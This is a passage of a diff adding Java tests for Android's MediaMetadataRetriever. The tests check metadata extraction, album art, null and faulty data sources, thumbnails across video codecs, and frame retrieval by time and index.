+            mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_COMPOSER));
+
+        assertEquals("Number of tracks was other than expected",
+            "1",
+            mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_NUM_TRACKS));
+
+        assertEquals("Has audio was other than expected",
+            "yes",
+            mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_HAS_AUDIO));
+
+        assertEquals("Mime type was other than expected",
+            "audio/mpeg",
+            mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_MIMETYPE));
+    }
+
+    public void test3gppMetadata() {
+        setDataSourceCallback("testvideo.3gp");
+
+        assertEquals("Title was other than expected",
+                "Title", mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_TITLE));
+
+        assertEquals("Artist was other than expected",
+                "UTF16LE エンディアン ",
+                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_ARTIST));
+
+        assertEquals("Album was other than expected",
+                "Test album",
+                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_ALBUM));
+
+        assertNull("Album artist was unexpectedly present",
+                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_ALBUMARTIST));
+
+        assertNull("Author was unexpectedly present",
+                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_AUTHOR));
+
+        assertNull("Composer was unexpectedly present",
+                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_COMPOSER));
+
+        assertEquals("Track number was other than expected",
+                "10",
+                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_CD_TRACK_NUMBER));
+
+        assertNull("Disc number was unexpectedly present",
+                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_DISC_NUMBER));
+
+        assertNull("Compilation was unexpectedly present",
+                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_COMPILATION));
+
+        assertEquals("Year was other than expected",
+                "2013", mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_YEAR));
+
+        assertEquals("Date was other than expected",
+                "19040101T000000.000Z",
+                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_DATE));
+
+        assertEquals("Bitrate was other than expected",
+                "365018",  // = 504045 (file size in byte) * 8e6 / 11047000 (duration in us)
+                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_BITRATE));
+
+        assertNull("Capture frame rate was unexpectedly present",
+                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_CAPTURE_FRAMERATE));
+
+        assertEquals("Duration was other than expected",
+                "11047",
+                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_DURATION));
+
+        assertEquals("Number of tracks was other than expected",
+                "4",
+                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_NUM_TRACKS));
+
+        assertEquals("Has audio was other than expected",
+                "yes",
+                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_HAS_AUDIO));
+
+        assertEquals("Has video was other than expected",
+                "yes",
+                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_HAS_VIDEO));
+
+        assertEquals("Video frame count was other than expected",
+                "172",
+                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_VIDEO_FRAME_COUNT));
+
+        assertEquals("Video height was other than expected",
+                "288",
+                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_VIDEO_HEIGHT));
+
+        assertEquals("Video width was other than expected",
+                "352",
+                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_VIDEO_WIDTH));
+
+        assertEquals("Video rotation was other than expected",
+                "0",
+                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_VIDEO_ROTATION));
+
+        assertEquals("Mime type was other than expected",
+                "video/mp4",
+                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_MIMETYPE));
+
+        assertNull("Location was unexpectedly present",
+                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_LOCATION));
+
+        assertNull("EXIF length was unexpectedly present",
+                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_EXIF_LENGTH));
+
+        assertNull("EXIF offset was unexpectedly present",
+                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_EXIF_OFFSET));
+
+        assertNull("Writer was unexpectedly present",
+                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_WRITER));
+    }
+
+    public void testID3v2Metadata() {
+        setDataSourceFd(
+                "video_480x360_mp4_h264_500kbps_25fps_aac_stereo_128kbps_44100hz_id3v2.mp4");
+
+        assertEquals("Title was other than expected",
+                "Title", mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_TITLE));
+
+        assertEquals("Artist was other than expected",
+                "UTF16LE エンディアン ",
+                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_ARTIST));
+
+        assertEquals("Album was other than expected",
+                "Test album",
+                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_ALBUM));
+
+        assertNull("Album artist was unexpectedly present",
+                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_ALBUMARTIST));
+
+        assertNull("Author was unexpectedly present",
+                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_AUTHOR));
+
+        assertNull("Composer was unexpectedly present",
+                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_COMPOSER));
+
+        assertEquals("Track number was other than expected",
+                "10",
+                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_CD_TRACK_NUMBER));
+
+        assertNull("Disc number was unexpectedly present",
+                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_DISC_NUMBER));
+
+        assertNull("Compilation was unexpectedly present",
+                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_COMPILATION));
+
+        assertEquals("Year was other than expected",
+                "2013", mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_YEAR));
+
+        assertEquals("Date was other than expected",
+                "19700101T000000.000Z",
+                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_DATE));
+
+        assertEquals("Bitrate was other than expected",
+                "499895",  // = 624869 (file size in byte) * 8e6 / 10000000 (duration in us)
+                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_BITRATE));
+
+        assertNull("Capture frame rate was unexpectedly present",
+                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_CAPTURE_FRAMERATE));
+
+        assertEquals("Duration was other than expected",
+                "10000",
+                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_DURATION));
+
+        assertEquals("Number of tracks was other than expected",
+                "2",
+                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_NUM_TRACKS));
+
+        assertEquals("Has audio was other than expected",
+                "yes",
+                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_HAS_AUDIO));
+
+        assertEquals("Has video was other than expected",
+                "yes",
+                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_HAS_VIDEO));
+
+        assertEquals("Video frame count was other than expected",
+                "240",
+                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_VIDEO_FRAME_COUNT));
+
+        assertEquals("Video height was other than expected",
+                "360",
+                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_VIDEO_HEIGHT));
+
+        assertEquals("Video width was other than expected",
+                "480",
+                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_VIDEO_WIDTH));
+
+        assertEquals("Video rotation was other than expected",
+                "0",
+                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_VIDEO_ROTATION));
+
+        assertEquals("Mime type was other than expected",
+                "video/mp4",
+                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_MIMETYPE));
+
+        assertNull("Location was unexpectedly present",
+                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_LOCATION));
+
+        assertNull("EXIF length was unexpectedly present",
+                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_EXIF_LENGTH));
+
+        assertNull("EXIF offset was unexpectedly present",
+                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_EXIF_OFFSET));
+
+        assertNull("Writer was unexpectedly present",
+                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_WRITER));
+    }
+
+    public void testID3v2Unsynchronization() {
+        setDataSourceFd("testmp3_4.mp3");
+        assertEquals("Mime type was other than expected",
+                "audio/mpeg",
+                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_MIMETYPE));
+    }
+
+    public void testID3v240ExtHeader() {
+        if(!ApiLevelUtil.isAtLeast(Build.VERSION_CODES.R)) {
+            // The fix for b/154357105 was released in mainline release 30.09.007.01
+            // See https://android-build.googleplex.com/builds/treetop/googleplex-android-review/11174063
+            if (TestUtils.skipTestIfMainlineLessThan("com.google.android.media", 300900701)) {
+                return;
+            }
+        }
+        setDataSourceFd("sinesweepid3v24ext.mp3");
+        assertEquals("Mime type was other than expected",
+                "audio/mpeg",
+                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_MIMETYPE));
+        assertEquals("Title was other than expected",
+                "sinesweep",
+                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_TITLE));
+        assertNotNull("no album art",
+                mRetriever.getEmbeddedPicture());
+    }
+
+    public void testID3v230ExtHeader() {
+        setDataSourceFd("sinesweepid3v23ext.mp3");
+        assertEquals("Mime type was other than expected",
+                "audio/mpeg",
+                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_MIMETYPE));
+        assertEquals("Title was other than expected",
+                "sinesweep",
+                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_TITLE));
+        assertNotNull("no album art",
+                mRetriever.getEmbeddedPicture());
+    }
+
+    public void testID3v230ExtHeaderBigEndian() {
+        setDataSourceFd("sinesweepid3v23extbe.mp3");
+        assertEquals("Mime type was other than expected",
+                "audio/mpeg",
+                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_MIMETYPE));
+        assertEquals("Title was other than expected",
+                "sinesweep",
+                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_TITLE));
+        assertNotNull("no album art",
+                mRetriever.getEmbeddedPicture());
+    }
+
+    public void testMp4AlbumArt() {
+        setDataSourceFd("swirl_128x128_h264_albumart.mp4");
+        assertEquals("Mime type was other than expected",
+                "video/mp4",
+                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_MIMETYPE));
+        assertNotNull("no album art",
+                mRetriever.getEmbeddedPicture());
+    }
+
+    public void testGenreParsing() {
+        if (!MediaUtils.check(mIsAtLeastR, "test needs Android 11")) return;
+        Object [][] genres = {
+            { "id3test0.mp3", null },
+            { "id3test1.mp3", "Country" },
+            { "id3test2.mp3", "Classic Rock, Android" },
+            { "id3test3.mp3", null },
+            { "id3test4.mp3", "Classic Rock, (Android)" },
+            { "id3test5.mp3", null },
+            { "id3test6.mp3", "Funk, Grunge, Hip-Hop" },
+            { "id3test7.mp3", null },
+            { "id3test8.mp3", "Disco" },
+            { "id3test9.mp3", "Cover" },
+            { "id3test10.mp3", "Pop, Remix" },
+            { "id3test11.mp3", "Remix" },
+        };
+        for (Object [] genre: genres) {
+            setDataSourceFd((String)genre[0] /* resource id */);
+            assertEquals("Unexpected genre: ",
+                    genre[1] /* genre */,
+                    mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_GENRE));
+        }
+    }
+
+    public void testBitsPerSampleAndSampleRate() {
+        setDataSourceFd("testwav_16bit_44100hz.wav");
+
+        assertEquals("Bits per sample was other than expected",
+                "16",
+                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_BITS_PER_SAMPLE));
+
+        assertEquals("Sample rate was other than expected",
+                "44100",
+                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_SAMPLERATE));
+
+    }
+
+    public void testGetEmbeddedPicture() {
+        setDataSourceFd("largealbumart.mp3");
+
+        assertNotNull("couldn't retrieve album art", mRetriever.getEmbeddedPicture());
+    }
+
+    public void testAlbumArtInOgg() throws Exception {
+        setDataSourceFd("sinesweepoggalbumart.ogg");
+        assertNotNull("couldn't retrieve album art from ogg", mRetriever.getEmbeddedPicture());
+    }
+
+    public void testSetDataSourcePath() {
+        copyMediaFile();
+        File file = new File(Environment.getExternalStorageDirectory(), TEST_MEDIA_FILE);
+        try {
+            mRetriever.setDataSource(file.getAbsolutePath());
+        } catch (Exception ex) {
+            fail("Failed setting data source with path, caught exception:" + ex);
+        }
+    }
+
+    public void testSetDataSourceUri() {
+        copyMediaFile();
+        File file = new File(Environment.getExternalStorageDirectory(), TEST_MEDIA_FILE);
+        try {
+            Uri uri = Uri.parse(file.getAbsolutePath());
+            mRetriever.setDataSource(getContext(), uri);
+        } catch (Exception ex) {
+            fail("Failed setting data source with Uri, caught exception:" + ex);
+        }
+    }
+
+    public void testSetDataSourceNullPath() {
+        try {
+            mRetriever.setDataSource((String)null);
+            fail("Expected IllegalArgumentException.");
+        } catch (IllegalArgumentException ex) {
+            // Expected, test passed.
+        }
+    }
+
+    public void testSetDataSourceNullUri() {
+        try {
+            mRetriever.setDataSource(getContext(), (Uri)null);
+            fail("Expected IllegalArgumentException.");
+        } catch (IllegalArgumentException ex) {
+            // Expected, test passed.
+        }
+    }
+
+    public void testNullMediaDataSourceIsRejected() {
+        try {
+            mRetriever.setDataSource((MediaDataSource)null);
+            fail("Expected IllegalArgumentException.");
+        } catch (IllegalArgumentException ex) {
+            // Expected, test passed.
+        }
+    }
+
+    public void testMediaDataSourceIsClosedOnRelease() throws Exception {
+        TestMediaDataSource dataSource = setDataSourceCallback("testvideo.3gp");
+        mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_TITLE);
+        mRetriever.release();
+        assertTrue(dataSource.isClosed());
+    }
+
+    public void testRetrieveFailsIfMediaDataSourceThrows() throws Exception {
+        TestMediaDataSource ds = getFaultyDataSource("testvideo.3gp", true /* throwing */);
+        try {
+            mRetriever.setDataSource(ds);
+            fail("Failed to throw exceptions");
+        } catch (RuntimeException e) {
+            assertTrue(mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_TITLE) == null);
+        }
+    }
+
+    public void testRetrieveFailsIfMediaDataSourceReturnsAnError() throws Exception {
+        TestMediaDataSource ds = getFaultyDataSource("testvideo.3gp", false /* throwing */);
+        try {
+            mRetriever.setDataSource(ds);
+            fail("Failed to throw exceptions");
+        } catch (RuntimeException e) {
+            assertTrue(mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_TITLE) == null);
+        }
+    }
+
+    private void testThumbnail(final String res, int targetWdith, int targetHeight) {
+        testThumbnail(res, null /*outPath*/, targetWdith, targetHeight);
+    }
+
+    private void testThumbnail(final String res, String outPath, int targetWidth,
+            int targetHeight) {
+        Stopwatch timer = new Stopwatch();
+
+        setDataSourceFd(res);
+
+        if (!MediaUtils.hasCodecForResourceAndDomain(mInpPrefix + res, "video/")) {
+            MediaUtils.skipTest("no video codecs for resource: " + mInpPrefix + res);
+            return;
+        }
+
+        timer.start();
+        Bitmap thumbnail = mRetriever.getFrameAtTime(-1 /* timeUs (any) */);
+        timer.end();
+        timer.printDuration("getFrameAtTime");
+
+        assertNotNull(thumbnail);
+
+        // Verifies bitmap width and height.
+        assertEquals("Video width was other than expected", Integer.toString(targetWidth),
+            mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_VIDEO_WIDTH));
+        assertEquals("Video height was other than expected", Integer.toString(targetHeight),
+            mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_VIDEO_HEIGHT));
+
+        // save output file if needed
+        if (outPath != null) {
+            FileOutputStream out = null;
+            try {
+                out = new FileOutputStream(outPath);
+            } catch (FileNotFoundException e) {
+                fail("Can't open output file");
+            }
+
+            thumbnail.compress(Bitmap.CompressFormat.PNG, 100, out);
+
+            try {
+                out.flush();
+                out.close();
+            } catch (IOException e) {
+                fail("Can't close file");
+            }
+        }
+    }
+
+    public void testThumbnailH264() {
+        testThumbnail(
+                "bbb_s4_1280x720_mp4_h264_mp31_8mbps_30fps_aac_he_mono_40kbps_44100hz.mp4",
+                1280,
+                720);
+    }
+
+    public void testThumbnailH263() {
+        testThumbnail("video_176x144_3gp_h263_56kbps_12fps_aac_mono_24kbps_11025hz.3gp", 176, 144);
+    }
+
+    public void testThumbnailMPEG4() {
+        testThumbnail(
+                "video_1280x720_mp4_mpeg4_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4",
+                1280,
+                720);
+    }
+
+    public void testThumbnailVP8() {
+        testThumbnail(
+                "bbb_s1_640x360_webm_vp8_2mbps_30fps_vorbis_5ch_320kbps_48000hz.webm",
+                640,
+                360);
+    }
+
+    public void testThumbnailVP9() {
+        testThumbnail(
+                "bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz.webm",
+                640,
+                360);
+    }
+
+    public void testThumbnailHEVC() {
+        testThumbnail(
+                "bbb_s1_720x480_mp4_hevc_mp3_1600kbps_30fps_aac_he_6ch_240kbps_48000hz.mp4",
+                720,
+                480);
+    }
+
+    public void testThumbnailVP9Hdr() {
+        if (!MediaUtils.check(mIsAtLeastR, "test needs Android 11")) return;
+
+        DisplayManager displayManager = mContext.getSystemService(DisplayManager.class);
+        int numberOfSupportedHdrTypes =
+            displayManager.getDisplay(Display.DEFAULT_DISPLAY).getHdrCapabilities()
+                .getSupportedHdrTypes().length;
+
+        if (numberOfSupportedHdrTypes == 0) {
+            MediaUtils.skipTest("No supported HDR display type");
+            return;
+        }
+
+        testThumbnail("video_1280x720_vp9_hdr_static_3mbps.mkv", 1280, 720);
+    }
+
+    public void testThumbnailAV1Hdr() {
+        if (!MediaUtils.check(mIsAtLeastR, "test needs Android 11")) return;
+
+        DisplayManager displayManager = mContext.getSystemService(DisplayManager.class);
+        int numberOfSupportedHdrTypes =
+            displayManager.getDisplay(Display.DEFAULT_DISPLAY).getHdrCapabilities()
+                .getSupportedHdrTypes().length;
+
+        if (numberOfSupportedHdrTypes == 0) {
+            MediaUtils.skipTest("No supported HDR display type");
+            return;
+        }
+
+        testThumbnail("video_1280x720_av1_hdr_static_3mbps.webm", 1280, 720);
+    }
+
+    public void testThumbnailHDR10() {
+        if (!MediaUtils.check(mIsAtLeastR, "test needs Android 11")) return;
+
+        testThumbnail("video_1280x720_hevc_hdr10_static_3mbps.mp4", 1280, 720);
+    }
+
+    private void testThumbnailWithRotation(final String res, int targetRotation) {
+        Stopwatch timer = new Stopwatch();
+
+        setDataSourceFd(res);
+
+        if (!MediaUtils.hasCodecForResourceAndDomain(mInpPrefix + res, "video/")) {
+            MediaUtils.skipTest("no video codecs for resource: " + mInpPrefix + res);
+            return;
+        }
+
+        assertEquals("Video rotation was other than expected", Integer.toString(targetRotation),
+            mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_VIDEO_ROTATION));
+
+        timer.start();
+        Bitmap thumbnail = mRetriever.getFrameAtTime(-1 /* timeUs (any) */);
+        timer.end();
+        timer.printDuration("getFrameAtTime");
+
+        verifyVideoFrameRotation(thumbnail, targetRotation);
+    }
+
+    public void testThumbnailWithRotation() {
+        String[] res = {"video_h264_mpeg4_rotate_0.mp4", "video_h264_mpeg4_rotate_90.mp4",
+                "video_h264_mpeg4_rotate_180.mp4", "video_h264_mpeg4_rotate_270.mp4"};
+        int[] targetRotations = {0, 90, 180, 270};
+        for (int i = 0; i < res.length; i++) {
+            testThumbnailWithRotation(res[i], targetRotations[i]);
+        }
+    }
+
+    /**
+     * The following tests verifies MediaMetadataRetriever.getFrameAtTime behavior.
+     *
+     * We use a simple stream with binary counter at the top to check which frame
+     * is actually captured. The stream is 30fps with 600 frames in total. It has
+     * I/P/B frames, with I interval of 30. Due to the encoding structure, pts starts
+     * at 66666 (instead of 0), so we have I frames at 66666, 1066666, ..., etc..
+     *
+     * For each seek option, we check the following five cases:
+     *     1) frame time falls right on a sync frame
+     *     2) frame time is near the middle of two sync frames but closer to the previous one
+     *     3) frame time is near the middle of two sync frames but closer to the next one
+     *     4) frame time is shortly before a sync frame
+     *     5) frame time is shortly after a sync frame
+     */
+    public void testGetFrameAtTimePreviousSync() {
+        int[][] testCases = {
+                { 2066666, 60 }, { 2500000, 60 }, { 2600000, 60 }, { 3000000, 60 }, { 3200000, 90}};
+        testGetFrameAtTime(OPTION_PREVIOUS_SYNC, testCases);
+    }
+
+    public void testGetFrameAtTimeNextSync() {
+        int[][] testCases = {
+                { 2066666, 60 }, { 2500000, 90 }, { 2600000, 90 }, { 3000000, 90 }, { 3200000, 120}};
+        testGetFrameAtTime(OPTION_NEXT_SYNC, testCases);
+    }
+
+    public void testGetFrameAtTimeClosestSync() {
+        int[][] testCases = {
+                { 2066666, 60 }, { 2500000, 60 }, { 2600000, 90 }, { 3000000, 90 }, { 3200000, 90}};
+        testGetFrameAtTime(OPTION_CLOSEST_SYNC, testCases);
+    }
+
+    public void testGetFrameAtTimeClosest() {
+        int[][] testCases = {
+                { 2066666, 60 }, { 2500001, 73 }, { 2599999, 76 }, { 3016000, 88 }, { 3184000, 94}};
+        testGetFrameAtTime(OPTION_CLOSEST, testCases);
+    }
+
+    public void testGetFrameAtTimePreviousSyncEditList() {
+        if (!MediaUtils.check(mIsAtLeastR, "test needs Android 11")) return;
+        int[][] testCases = {
+                { 2000000, 60 }, { 2433334, 60 }, { 2533334, 60 }, { 2933334, 60 }, { 3133334, 90}};
+        testGetFrameAtTimeEditList(OPTION_PREVIOUS_SYNC, testCases);
+    }
+
+    public void testGetFrameAtTimeNextSyncEditList() {
+        if (!MediaUtils.check(mIsAtLeastR, "test needs Android 11")) return;
+        int[][] testCases = {
+                { 2000000, 60 }, { 2433334, 90 }, { 2533334, 90 }, { 2933334, 90 }, { 3133334, 120}};
+        testGetFrameAtTimeEditList(OPTION_NEXT_SYNC, testCases);
+    }
+
+    public void testGetFrameAtTimeClosestSyncEditList() {
+        if (!MediaUtils.check(mIsAtLeastR, "test needs Android 11")) return;
+        int[][] testCases = {
+                { 2000000, 60 }, { 2433334, 60 }, { 2533334, 90 }, { 2933334, 90 }, { 3133334, 90}};
+        testGetFrameAtTimeEditList(OPTION_CLOSEST_SYNC, testCases);
+    }
+
+    public void testGetFrameAtTimeClosestEditList() {
+        if (!MediaUtils.check(mIsAtLeastR, "test needs Android 11")) return;
+        int[][] testCases = {
+                { 2000000, 60 }, { 2433335, 73 }, { 2533333, 76 }, { 2949334, 88 }, { 3117334, 94}};
+        testGetFrameAtTimeEditList(OPTION_CLOSEST, testCases);
+    }
+
+    public void testGetFrameAtTimePreviousSyncEmptyNormalEditList() {
+        if (!MediaUtils.check(mIsAtLeastR, "test needs Android 11")) return;
+        int[][] testCases = {
+                { 2133000, 60 }, { 2566334, 60 }, { 2666334, 60 }, { 3100000, 60 }, { 3266000, 90}};
+        testGetFrameAtTimeEmptyNormalEditList(OPTION_PREVIOUS_SYNC, testCases);
+    }
+
+    public void testGetFrameAtTimeNextSyncEmptyNormalEditList() {
+        if (!MediaUtils.check(mIsAtLeastR, "test needs Android 11")) return;
+        int[][] testCases = {{ 2000000, 60 }, { 2133000, 60 }, { 2566334, 90 }, { 3100000, 90 },
+                { 3200000, 120}};
+        testGetFrameAtTimeEmptyNormalEditList(OPTION_NEXT_SYNC, testCases);
+    }
+
+    public void testGetFrameAtTimeClosestSyncEmptyNormalEditList() {
+        if (!MediaUtils.check(mIsAtLeastR, "test needs Android 11")) return;
+        int[][] testCases = {
+                { 2133000, 60 }, { 2566334, 60 }, { 2666000, 90 }, { 3133000, 90 }, { 3200000, 90}};
+        testGetFrameAtTimeEmptyNormalEditList(OPTION_CLOSEST_SYNC, testCases);
+    }
+
+    public void testGetFrameAtTimeClosestEmptyNormalEditList() {
+        if (!MediaUtils.check(mIsAtLeastR, "test needs Android 11")) return;
+        int[][] testCases = {
+                { 2133000, 60 }, { 2566000, 73 }, { 2666000, 76 }, { 3066001, 88 }, { 3255000, 94}};
+        testGetFrameAtTimeEmptyNormalEditList(OPTION_CLOSEST, testCases);
+    }
+
+    private void testGetFrameAtTime(int option, int[][] testCases) {
+        testGetFrameAt(testCases, (r) -> {
+            List<Bitmap> bitmaps = new ArrayList<>();
+            for (int i = 0; i < testCases.length; i++) {
+                bitmaps.add(r.getFrameAtTime(testCases[i][0], option));
+            }
+            return bitmaps;
+        });
+    }
+
+    private void testGetFrameAtTimeEditList(int option, int[][] testCases) {
+        MediaMetadataRetriever.BitmapParams params = new MediaMetadataRetriever.BitmapParams();
+        params.setPreferredConfig(Bitmap.Config.ARGB_8888);
+
+        testGetFrameAtEditList(testCases, (r) -> {
+            List<Bitmap> bitmaps = new ArrayList<>();
+            for (int i = 0; i < testCases.length; i++) {
+                Bitmap bitmap = r.getFrameAtTime(testCases[i][0], option, params);
+                assertEquals(Bitmap.Config.ARGB_8888, params.getActualConfig());
+                bitmaps.add(bitmap);
+            }
+            return bitmaps;
+        });
+    }
+
+    private void testGetFrameAtTimeEmptyNormalEditList(int option, int[][] testCases) {
+        MediaMetadataRetriever.BitmapParams params = new MediaMetadataRetriever.BitmapParams();
+        params.setPreferredConfig(Bitmap.Config.ARGB_8888);
+
+        testGetFrameAtEmptyNormalEditList(testCases, (r) -> {
+            List<Bitmap> bitmaps = new ArrayList<>();
+            for (int i = 0; i < testCases.length; i++) {
+                Bitmap bitmap = r.getFrameAtTime(testCases[i][0], option, params);
+                assertEquals(Bitmap.Config.ARGB_8888, params.getActualConfig());
+                bitmaps.add(bitmap);
+            }
+            return bitmaps;
+        });
+    }
+
+    public void testGetFrameAtIndex() {
+        int[][] testCases = { { 60, 60 }, { 73, 73 }, { 76, 76 }, { 88, 88 }, { 94, 94} };
+
+        testGetFrameAt(testCases, (r) -> {
+            List<Bitmap> bitmaps = new ArrayList<>();
+            for (int i = 0; i < testCases.length; i++) {
+                bitmaps.add(r.getFrameAtIndex(testCases[i][0]));
+            }
+            return bitmaps;
+        });
+
+        MediaMetadataRetriever.BitmapParams params = new MediaMetadataRetriever.BitmapParams();
+        params.setPreferredConfig(Bitmap.Config.RGB_565);
+        assertEquals("Failed to set preferred config",
+                Bitmap.Config.RGB_565, params.getPreferredConfig());
+
+        testGetFrameAt(testCases, (r) -> {
+            List<Bitmap> bitmaps = new ArrayList<>();
+            for (int i = 0; i < testCases.length; i++) {
+                Bitmap bitmap = r.getFrameAtIndex(testCases[i][0], params);
+                assertEquals(Bitmap.Config.RGB_565, params.getActualConfig());
+                bitmaps.add(bitmap);
+            }
+            return bitmaps;
+        });
+    }
+
+    public void testGetFramesAtIndex() {
+        int[][] testCases = { { 27, 27 }, { 28, 28 }, { 29, 29 }, { 30, 30 }, { 31, 31} };
+
+        testGetFrameAt(testCases, (r) -> {
+            return r.getFramesAtIndex(testCases[0][0], testCases.length);
+        });
+
+        MediaMetadataRetriever.BitmapParams params = new MediaMetadataRetriever.BitmapParams();
+        params.setPreferredConfig(Bitmap.Config.RGB_565);
+        assertEquals("Failed to set preferred config",
+                Bitmap.Config.RGB_565, params.getPreferredConfig());
+
+        testGetFrameAt(testCases, (r) -> {
+            List<Bitmap> bitmaps = r.getFramesAtIndex(testCases[0][0], testCases.length, params);
+            assertEquals(Bitmap.Config.RGB_565, params.getActualConfig());
+            return bitmaps;
+        });
+    }
+
+    private void testGetFrameAt(int[][] testCases,
+            Function<MediaMetadataRetriever, List<Bitmap>> bitmapRetriever) {
+        testGetFrameAt("binary_counter_320x240_30fps_600frames.mp4",
+                testCases, bitmapRetriever);
+    }
+
+    private void testGetFrameAtEditList(int[][] testCases,
+            Function<MediaMetadataRetriever, List<Bitmap>> bitmapRetriever) {
+        testGetFrameAt("binary_counter_320x240_30fps_600frames_editlist.mp4",
+                testCases, bitmapRetriever);
+    }
+
+    private void testGetFrameAtEmptyNormalEditList(int[][] testCases,
+            Function<MediaMetadataRetriever, List<Bitmap>> bitmapRetriever) {
+        testGetFrameAt("binary_counter_320x240_30fps_600frames_empty_normal_editlist_entries.mp4",
+                testCases, bitmapRetriever);
+    }
+
+    private void testGetFrameAt(final String res, int[][] testCases,
+            Function<MediaMetadataRetriever, List<Bitmap>> bitmapRetriever) {
+
+        setDataSourceFd(res);
+
+        if (!MediaUtils.hasCodecForResourceAndDomain(mInpPrefix + res, "video/")
+            && mPackageManager.hasSystemFeature(PackageManager.FEATURE_WATCH)) {
+            MediaUtils.skipTest("no video codecs for resource: " + mInpPrefix + res + " on watch");
+            return;
+        }
+
+        List<Bitmap> bitmaps = bitmapRetriever.apply(mRetriever);
+        for (int i = 0; i < testCases.length; i++) {
+            verifyVideoFrame(bitmaps.get(i), testCases[i]);
+        }
+    }
+
+    private void verifyVideoFrame(Bitmap bitmap, int[] testCase) {
+        try {
+            assertTrue("Failed to get bitmap for " + testCase[0], bitmap != null);
+            assertEquals("Counter value incorrect for " + testCase[0],
+                    testCase[1], CodecUtils.readBinaryCounterFromBitmap(bitmap));
+
+            if (SAVE_BITMAP_OUTPUT) {
+                CodecUtils.saveBitmapToFile(bitmap, "test_" + testCase[0] + ".jpg");
+            }
+        } catch (Exception e) {
+            fail("Exception getting bitmap: " + e);
+        }
+    }
+
+    private void verifyVideoFrameRotation(Bitmap bitmap, int targetRotation) {
+        try {
+            assertTrue("Failed to get bitmap for " + targetRotation + " degrees", bitmap != null);
+            assertTrue("Frame incorrect for " + targetRotation + " degrees",
+                CodecUtils.VerifyFrameRotationFromBitmap(bitmap, targetRotation));
+
+            if (SAVE_BITMAP_OUTPUT) {
+                CodecUtils.saveBitmapToFile(bitmap, "test_rotation_" + targetRotation + ".jpg");
+            }
